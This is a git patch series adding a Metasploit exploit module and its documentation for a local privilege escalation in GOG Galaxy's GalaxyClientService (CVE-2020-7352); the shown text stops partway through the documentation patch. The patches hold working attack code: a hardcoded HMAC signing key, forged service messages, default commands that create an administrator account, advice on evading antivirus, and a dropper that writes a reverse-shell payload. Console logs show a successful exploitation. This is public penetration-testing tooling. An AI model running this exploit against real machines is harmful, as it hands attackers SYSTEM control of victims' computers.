From 601f8d6aadb980a0baa3f691f5a0cd1dcb5114b1 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Tue, 12 May 2020 22:06:55 -0400 Subject: [PATCH 1/8] Added post/windows/escalate/gog_galaxyclientservice_privesc. --- .../gog_galaxyclientservice_privesc.rb | 140 ++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb diff --git a/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb b/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb new file mode 100644 index 0000000000..58ed704a8e --- /dev/null +++ b/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/services' +require 'openssl' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Services + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'GOG GalaxyClientService Privilege Escalation', + 'Description' => %q{ + This module will send arbitrary commands to the GOG GalaxyClientService, which will be executed + with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are + also likely affected). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Testa ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'] + ] + )) + + register_options( + [ + OptString.new('CMD', [true, 'The command to execute with SYSTEM privileges', 'C:\\Windows\\System32\\net.exe']), + OptString.new('ARGS', [false, 'The arguments for CMD', 'user newadmin 0mg*123L0l /add']), + OptString.new('WORKING_DIR', [true, 'The initial working directory of the command', 'C:\\']), + ]) + end + + def run + command = datastore['CMD'] + args = datastore['ARGS'] + working_dir = datastore['WORKING_DIR'] + + # The HMAC-SHA512 key for signing commands. + key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d" + + print_status("Attempting to execute \"#{command} #{args}\" with SYSTEM privileges...") + if command == 'C:\\Windows\\System32\\net.exe' and args == 'user newadmin 0mg*123L0l /add' + print_warning('Warning: default command & args used. To better evade AV/IDS, consider customizing these next time.') + end + + # Start the GalaxyClientService. It will automatically terminate after ~10 + # seconds of inactivity, so we don't need to bother shutting it down later. + print_status("Starting GalaxyClientService...") + ret = service_start('GalaxyClientService') + if ret == 0 then + print_status("Service started successfully.") + elsif (ret == 1056) or (ret == 1) then + print_warning("Service already running. If the command execution fails, try it again in 15 seconds or so.") + else + print_status("Service status unknown (return code: #{ret}). Continuing anyway...") + end + + print_status("Connecting to service...") + + # Create a TCP socket. + handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') + s = handler['return'] + + # Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO). + # This only affects the recv(), not connect(). + handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4) + + # Set the socket address structure to localhost:9978. + sock_addr = "\x02\x00" + sock_addr << [9978].pack('n') + sock_addr << Rex::Socket.addr_aton('127.0.0.1') + sock_addr << "\x00" * 8 + + # Connect to the service. Retry up to 3 times, waiting 2 seconds in + # between. + connected = false + retries = 0 + while (retries < 3) and (connected == false) + retries += 1 + handler = client.railgun.ws2_32.connect(s, sock_addr, 16) + if handler['GetLastError'] == 0 then + connected = true + else + print_warning("Connection failed. Waiting 2 seconds and trying again...") + Rex.sleep(2) + end + end + + if connected == false + print_error("Failed to connect to service.") + return + end + + print_status("Connected to service. Sending payload...") + + # Build the header and payload, then calculate the HMAC-512 tag. + header1 = "\x00\x93\x08\x04\x10\x01\x18" + header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" + payload = "\n" + command.length.chr + command + "\x12" + (command.length + args.length + 4).chr + "\"" + command + "\" " + args + " \x1a" + working_dir.length.chr + working_dir + " \x01(\x01" + payload_hmac = OpenSSL::HMAC.hexdigest("SHA512", key, payload) + data = header1 + payload.length.chr + header2 + payload_hmac + payload + + # Here, we are calling client.railgun.ws2_32.send(). However, there's a bug + # somewhere in the railgun system such that send() is never called. It + # seems that some mystery code is intercepting send() instead of letting it + # get to LibraryWrapper.method_missing() (perhaps 'send' is a special case + # somewhere? The other ws2_32 functions work just fine...). To work around + # this problem, we will simply call it directly with call_function(). + send_func = client.railgun.ws2_32.functions['send'] + client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client) + + # Read the server's response. On error, it returns nothing. + response = "\x00" * 512 + handler = client.railgun.ws2_32.recv(s, response, response.length, 0) + + # Convert the unsigned return value to a signed value. + ret = [handler['return'].to_i].pack('l').unpack('l').first + if ret <= 0 then + print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(") + else + print_good("Command executed successfully!") + + # If a new account was created, give the user a hint on how to add it to + # the local Administrators group. + if command.end_with? "net.exe" and args.include? ' /add' + print_good("Hint: to add the new user to the local Administrators group, set the ARGS option to \"net localgroup Administrators [user] /add\"") + end + end + + client.railgun.ws2_32.closesocket(s) + end +end From 00579b498f9d253e2e4e1cc1f24ecac413411ad8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 13 May 2020 14:40:13 -0500 Subject: [PATCH 2/8] Add CVE-2020-7352 to the references Freshly reserved! Not populated yet! --- .../post/windows/escalate/gog_galaxyclientservice_privesc.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb b/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb index 58ed704a8e..245df62fd4 100644 --- a/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb +++ b/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb @@ -26,7 +26,8 @@ class MetasploitModule < Msf::Post 'SessionTypes' => [ 'meterpreter' ], 'References' => [ - ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'] + ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], + ['CVE', '2020-7352'] ] )) From 5508bda29e800f64d02b6587fd364dc43dacbaf2 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 18 May 2020 17:09:10 -0400 Subject: [PATCH 3/8] Moved module into exploit/windows/local. Added documentation. --- .../local/gog_galaxyclientservice_privesc.md | 72 +++++++++++++++++++ .../local}/gog_galaxyclientservice_privesc.rb | 9 ++- 2 files changed, 79 insertions(+), 2 deletions(-) create mode 100644 documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md rename modules/{post/windows/escalate => exploits/windows/local}/gog_galaxyclientservice_privesc.rb (96%) diff --git a/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md new file mode 100644 index 0000000000..c7f4592004 --- /dev/null +++ b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +GOG Galaxy is a video game management client. One of its Windows services, *GalaxyClientService*, runs with *SYSTEM* privileges. In versions 2.0.12 and earlier, and 1.2.64 and earlier, it is possible to communicate with the service and instruct it to execute arbitrary commands as *SYSTEM*. + +A vulnerable version need only be installed on the target machine in order to be exploitable. + +## Verification Steps + + 1. Start *msfconsole*. + 2. Acquire a Meterpreter session. + 3. Do: ```use exploit/windows/local/gog_galaxyclientservice_privesc``` + 4. Do: ```set SESSION [insert session number here]``` + 5. (Optional) For AV/IDS evasion, modify the default username and password in the ```ARGS``` option. + 6. Do: ```exploit``` + 7. Check that the new user is created. + 8. (Optional) To place new user in the local Administrators group, run ```set ARGS "net localgroup Administrators [put username here] /add"``` followed by ```exploit``` again. + +## Options + +### CMD + +The absolute path of the command to execute. + +### ARGS + +The arguments to pass to the command. + +### WORKING_DIR + +The initial working directory of the command. + +### SESSION + +The Meterpreter session number to execute the command in. + + +## Scenarios +``` +> use exploit/windows/local/gog_galaxyclientservice_privesc +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set SESSION 1 +SESSION => 1 +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > exploit + +[*] Started reverse TCP handler on 10.0.2.18:4444 +[*] Attempting to execute "C:\Windows\System32\net.exe user newadmin 0mg*123L0l /add" with SYSTEM privileges... +[!] Warning: default command & args used. To better evade AV/IDS, consider customizing these next time. +[*] Starting GalaxyClientService... +[*] Service started successfully. +[*] Connecting to service... +[*] Connected to service. Sending payload... +[+] Command executed successfully! +[+] Hint: to add the new user to the local Administrators group, set the ARGS option to "net localgroup Administrators [user] /add" +[*] Exploit completed, but no session was created. + +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set ARGS "net localgroup Administrators newadmin /add" +ARGS => net localgroup Administrators newadmin /add +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > exploit + +[*] Started reverse TCP handler on 10.0.2.18:4444 +[*] Attempting to execute "C:\Windows\System32\net.exe net localgroup Administrators newadmin /add" with SYSTEM privileges... +[*] Starting GalaxyClientService... +[*] Service started successfully. +[*] Connecting to service... +[*] Connected to service. Sending payload... +[+] Command executed successfully! +[+] Hint: to add the new user to the local Administrators group, set the ARGS option to "net localgroup Administrators [user] /add" +[*] Exploit completed, but no session was created. +``` + +### Version and OS + +This exploit works on the Windows version of GOG Galaxy v1.2.64 and earlier, and v2.0.12 and earlier. diff --git a/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb similarity index 96% rename from modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb rename to modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb index 245df62fd4..81474b5835 100644 --- a/modules/post/windows/escalate/gog_galaxyclientservice_privesc.rb +++ b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb @@ -6,7 +6,9 @@ require 'msf/core/post/windows/services' require 'openssl' -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + include Msf::Post::Windows::Services def initialize(info = {}) @@ -24,6 +26,9 @@ class MetasploitModule < Msf::Post ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Automatic', {} ], ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Apr 28 2020", 'References' => [ ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], @@ -39,7 +44,7 @@ class MetasploitModule < Msf::Post ]) end - def run + def exploit command = datastore['CMD'] args = datastore['ARGS'] working_dir = datastore['WORKING_DIR'] From 1b57c7f68d8002a1f60d4fc641a1cde22a999eee Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 10 Jun 2020 22:01:06 -0500 Subject: [PATCH 4/8] add dropper target --- .../local/gog_galaxyclientservice_privesc.rb | 169 +++++++++++------- 1 file changed, 108 insertions(+), 61 deletions(-) diff --git a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb index 81474b5835..7cfa45ea4a 100644 --- a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb +++ b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb @@ -10,66 +10,100 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Services + include Msf::Post::Windows::Priv + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info( - info, - 'Name' => 'GOG GalaxyClientService Privilege Escalation', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'GOG GalaxyClientService Privilege Escalation', + 'Description' => %q{ This module will send arbitrary commands to the GOG GalaxyClientService, which will be executed - with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are - also likely affected). + with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are + also likely affected). }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Joe Testa ' - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Automatic', {} ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => "Apr 28 2020", - 'References' => - [ - ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], - ['CVE', '2020-7352'] - ] - )) + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Testa ' + ], + 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'Windows (CMD)', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'Payload' => 'cmd/windows/reverse_powershell' }, + 'Type' => :win_cmd + ], + [ 'Windows (Dropper)', + 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, + 'Type' => :dropper + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 28 2020', + 'References' => + [ + ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], + ['CVE', '2020-7352'] + ] + ) + ) register_options( [ - OptString.new('CMD', [true, 'The command to execute with SYSTEM privileges', 'C:\\Windows\\System32\\net.exe']), - OptString.new('ARGS', [false, 'The arguments for CMD', 'user newadmin 0mg*123L0l /add']), - OptString.new('WORKING_DIR', [true, 'The initial working directory of the command', 'C:\\']), - ]) + OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]), + OptString.new('WORKING_DIR', [true, 'The initial working directory of the command', 'C:\\']) + ] + ) + end + + def check + log_path = expand_path("%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log") + service_path = expand_path("%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe") + + return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path) + return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path) + + end def exploit + fail_with(Failure::None, 'Already running as SYSTEM') if is_system? + fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter' + command = datastore['CMD'] args = datastore['ARGS'] working_dir = datastore['WORKING_DIR'] # The HMAC-SHA512 key for signing commands. - key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d" - - print_status("Attempting to execute \"#{command} #{args}\" with SYSTEM privileges...") - if command == 'C:\\Windows\\System32\\net.exe' and args == 'user newadmin 0mg*123L0l /add' - print_warning('Warning: default command & args used. To better evade AV/IDS, consider customizing these next time.') - end + key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f" + key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb" + key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c" + key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4" + key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd" + key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d" # Start the GalaxyClientService. It will automatically terminate after ~10 # seconds of inactivity, so we don't need to bother shutting it down later. - print_status("Starting GalaxyClientService...") + print_status('Starting GalaxyClientService...') ret = service_start('GalaxyClientService') - if ret == 0 then - print_status("Service started successfully.") - elsif (ret == 1056) or (ret == 1) then - print_warning("Service already running. If the command execution fails, try it again in 15 seconds or so.") + if ret == 0 + print_status('Service started successfully.') + elsif (ret == 1056) || (ret == 1) + print_warning('Service already running. If the command execution fails, try it again in 15 seconds or so.') else print_status("Service status unknown (return code: #{ret}). Continuing anyway...") end - print_status("Connecting to service...") + print_status('Connecting to service...') # Create a TCP socket. handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') @@ -89,30 +123,21 @@ class MetasploitModule < Msf::Exploit::Local # between. connected = false retries = 0 - while (retries < 3) and (connected == false) + while (retries < 3) && (connected == false) retries += 1 handler = client.railgun.ws2_32.connect(s, sock_addr, 16) - if handler['GetLastError'] == 0 then + if handler['GetLastError'] == 0 connected = true else - print_warning("Connection failed. Waiting 2 seconds and trying again...") + print_warning('Connection failed. Waiting 2 seconds and trying again...') Rex.sleep(2) end end - if connected == false - print_error("Failed to connect to service.") - return - end + fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected - print_status("Connected to service. Sending payload...") - - # Build the header and payload, then calculate the HMAC-512 tag. - header1 = "\x00\x93\x08\x04\x10\x01\x18" - header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" - payload = "\n" + command.length.chr + command + "\x12" + (command.length + args.length + 4).chr + "\"" + command + "\" " + args + " \x1a" + working_dir.length.chr + working_dir + " \x01(\x01" - payload_hmac = OpenSSL::HMAC.hexdigest("SHA512", key, payload) - data = header1 + payload.length.chr + header2 + payload_hmac + payload + data = build_payload(key) + print_status('Connected to service. Sending payload...') # Here, we are calling client.railgun.ws2_32.send(). However, there's a bug # somewhere in the railgun system such that send() is never called. It @@ -128,19 +153,41 @@ class MetasploitModule < Msf::Exploit::Local handler = client.railgun.ws2_32.recv(s, response, response.length, 0) # Convert the unsigned return value to a signed value. - ret = [handler['return'].to_i].pack('l').unpack('l').first - if ret <= 0 then + ret = [handler['return'].to_i].pack('l').unpack1('l') + if ret <= 0 print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(") else - print_good("Command executed successfully!") - - # If a new account was created, give the user a hint on how to add it to - # the local Administrators group. - if command.end_with? "net.exe" and args.include? ' /add' - print_good("Hint: to add the new user to the local Administrators group, set the ARGS option to \"net localgroup Administrators [user] /add\"") - end + print_good('Command executed successfully!') end client.railgun.ws2_32.closesocket(s) end + + def build_payload(key) + args = '' + command = '' + working_dir = datastore['WORKING_DIR'] + + header1 = "\x00\x93\x08\x04\x10\x01\x18" + header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" + if target['Type'] == :win_cmd + command = payload.encoded + else + payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe" + file_path = expand_path("#{datastore['PATH']}\\#{payload_name}") + payload_data = generate_payload_exe + + print_status("Writing #{file_path} to target") + write_file(file_path, payload_data) + command = "#{file_path}" + + register_file_for_cleanup(file_path) + end + + gog_cmd = "\n#{command.length.chr}#{command}\x12" + gog_cmd += "#{(command.length + args.length + 4).chr}\"#{command}\" #{args} \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" + + payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd) + data = header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd + end end From f7f711674a8f17509afdd81e85bd01ece33306be Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Fri, 12 Jun 2020 14:28:39 -0500 Subject: [PATCH 5/8] remove cmd target --- .../local/gog_galaxyclientservice_privesc.rb | 52 ++++++++----------- 1 file changed, 22 insertions(+), 30 deletions(-) diff --git a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb index 7cfa45ea4a..6aa3dc2c8c 100644 --- a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb +++ b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Local info, 'Name' => 'GOG GalaxyClientService Privilege Escalation', 'Description' => %q{ - This module will send arbitrary commands to the GOG GalaxyClientService, which will be executed + This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are also likely affected). }, @@ -30,16 +30,10 @@ class MetasploitModule < Msf::Exploit::Local 'Joe Testa ' ], 'Platform' => [ 'win' ], - 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ - [ 'Windows (CMD)', - 'Platform' => 'win', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'Payload' => 'cmd/windows/reverse_powershell' }, - 'Type' => :win_cmd - ], [ 'Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], @@ -60,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local register_options( [ OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]), - OptString.new('WORKING_DIR', [true, 'The initial working directory of the command', 'C:\\']) + OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\']) ] ) end @@ -72,18 +66,22 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path) return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path) + log_data = read_file(log_path) + unless log_data && /Application\s+version:\s+(?\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data + return CheckCode::Detected('Unable to determine version from log file') + end + return CheckCode::Detected('Galaxy Client version not found') unless ver_no + version = Gem::Version.new(ver_no) + + return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13') end def exploit fail_with(Failure::None, 'Already running as SYSTEM') if is_system? fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter' - command = datastore['CMD'] - args = datastore['ARGS'] - working_dir = datastore['WORKING_DIR'] - - # The HMAC-SHA512 key for signing commands. + # The HMAC-SHA512 key for signing file_paths. key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f" key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb" key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c" @@ -98,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Local if ret == 0 print_status('Service started successfully.') elsif (ret == 1056) || (ret == 1) - print_warning('Service already running. If the command execution fails, try it again in 15 seconds or so.') + print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.') else print_status("Service status unknown (return code: #{ret}). Continuing anyway...") end @@ -164,28 +162,22 @@ class MetasploitModule < Msf::Exploit::Local end def build_payload(key) - args = '' - command = '' working_dir = datastore['WORKING_DIR'] header1 = "\x00\x93\x08\x04\x10\x01\x18" header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" - if target['Type'] == :win_cmd - command = payload.encoded - else - payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe" - file_path = expand_path("#{datastore['PATH']}\\#{payload_name}") - payload_data = generate_payload_exe - print_status("Writing #{file_path} to target") - write_file(file_path, payload_data) - command = "#{file_path}" + payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe" + file_path = expand_path("#{datastore['PATH']}\\#{payload_name}") + payload_data = generate_payload_exe - register_file_for_cleanup(file_path) - end + print_status("Writing #{file_path} to target") + write_file(file_path, payload_data) - gog_cmd = "\n#{command.length.chr}#{command}\x12" - gog_cmd += "#{(command.length + args.length + 4).chr}\"#{command}\" #{args} \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" + register_file_for_cleanup(file_path) + + gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12" + gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd) data = header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd From 34366ea6808b1e4b452e7f4ff89e3004619d6d36 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 15 Jun 2020 08:36:32 -0500 Subject: [PATCH 6/8] add notes, finish check --- .../windows/local/gog_galaxyclientservice_privesc.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb index 6aa3dc2c8c..3a7e2fdfcd 100644 --- a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb +++ b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb @@ -47,7 +47,13 @@ class MetasploitModule < Msf::Exploit::Local [ ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], ['CVE', '2020-7352'] - ] + ], + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + } ) ) @@ -75,6 +81,8 @@ class MetasploitModule < Msf::Exploit::Local version = Gem::Version.new(ver_no) return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13') + + CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable") end def exploit @@ -173,7 +181,6 @@ class MetasploitModule < Msf::Exploit::Local print_status("Writing #{file_path} to target") write_file(file_path, payload_data) - register_file_for_cleanup(file_path) gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12" From 801ef062a15d3a35a6ee8f8ebb8e2d8387f9e6e7 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 15 Jun 2020 08:42:27 -0500 Subject: [PATCH 7/8] modify docs for new output --- .../local/gog_galaxyclientservice_privesc.md | 105 ++++++++++-------- 1 file changed, 57 insertions(+), 48 deletions(-) diff --git a/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md index c7f4592004..1e0944547d 100644 --- a/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md +++ b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md @@ -1,72 +1,81 @@ ## Vulnerable Application -GOG Galaxy is a video game management client. One of its Windows services, *GalaxyClientService*, runs with *SYSTEM* privileges. In versions 2.0.12 and earlier, and 1.2.64 and earlier, it is possible to communicate with the service and instruct it to execute arbitrary commands as *SYSTEM*. +GOG Galaxy is a video game management client. One of its Windows services, *GalaxyClientService*, runs with *SYSTEM* privileges. +In versions 2.0.12 and earlier, and 1.2.64 and earlier, it is possible to communicate with the service and instruct it to +execute arbitrary commands as *SYSTEM*. -A vulnerable version need only be installed on the target machine in order to be exploitable. +A vulnerable [version](https://www.gog.com/galaxy) need only be installed on the target machine in order to be exploitable. ## Verification Steps 1. Start *msfconsole*. 2. Acquire a Meterpreter session. 3. Do: ```use exploit/windows/local/gog_galaxyclientservice_privesc``` - 4. Do: ```set SESSION [insert session number here]``` - 5. (Optional) For AV/IDS evasion, modify the default username and password in the ```ARGS``` option. - 6. Do: ```exploit``` - 7. Check that the new user is created. - 8. (Optional) To place new user in the local Administrators group, run ```set ARGS "net localgroup Administrators [put username here] /add"``` followed by ```exploit``` again. + 4. Do: ```set SESSION ``` + 5. Do: ```exploit``` + 6. Verify that you get a Meterpreter session. ## Options - -### CMD - -The absolute path of the command to execute. - -### ARGS - -The arguments to pass to the command. - ### WORKING_DIR The initial working directory of the command. -### SESSION - -The Meterpreter session number to execute the command in. - - ## Scenarios -``` -> use exploit/windows/local/gog_galaxyclientservice_privesc -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set SESSION 1 -SESSION => 1 -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > exploit +### GOG Galaxy Client `v1.2.66.64` on Windows 10 -[*] Started reverse TCP handler on 10.0.2.18:4444 -[*] Attempting to execute "C:\Windows\System32\net.exe user newadmin 0mg*123L0l /add" with SYSTEM privileges... -[!] Warning: default command & args used. To better evade AV/IDS, consider customizing these next time. +``` +msf5 > use multi/handler +msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf5 exploit(multi/handler) > set lhost 192.168.37.1 +lhost => 192.168.37.1 +msf5 exploit(multi/handler) > run + +[*] Started reverse TCP handler on 192.168.37.1:4444 +[*] Sending stage (201283 bytes) to 192.168.37.131 +[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.131:50855) at 2020-06-15 08:35:15 -0500 + +meterpreter > getuid +Server username: DESKTOP-AQT4EG1\space +meterpreter > sysinfo +Computer : DESKTOP-AQT4EG1 +OS : Windows 10 (10.0 Build 18362). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 15 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +msf5 exploit(multi/handler) > use exploit/windows/local/gog_galaxyclientservice_privesc +msf5 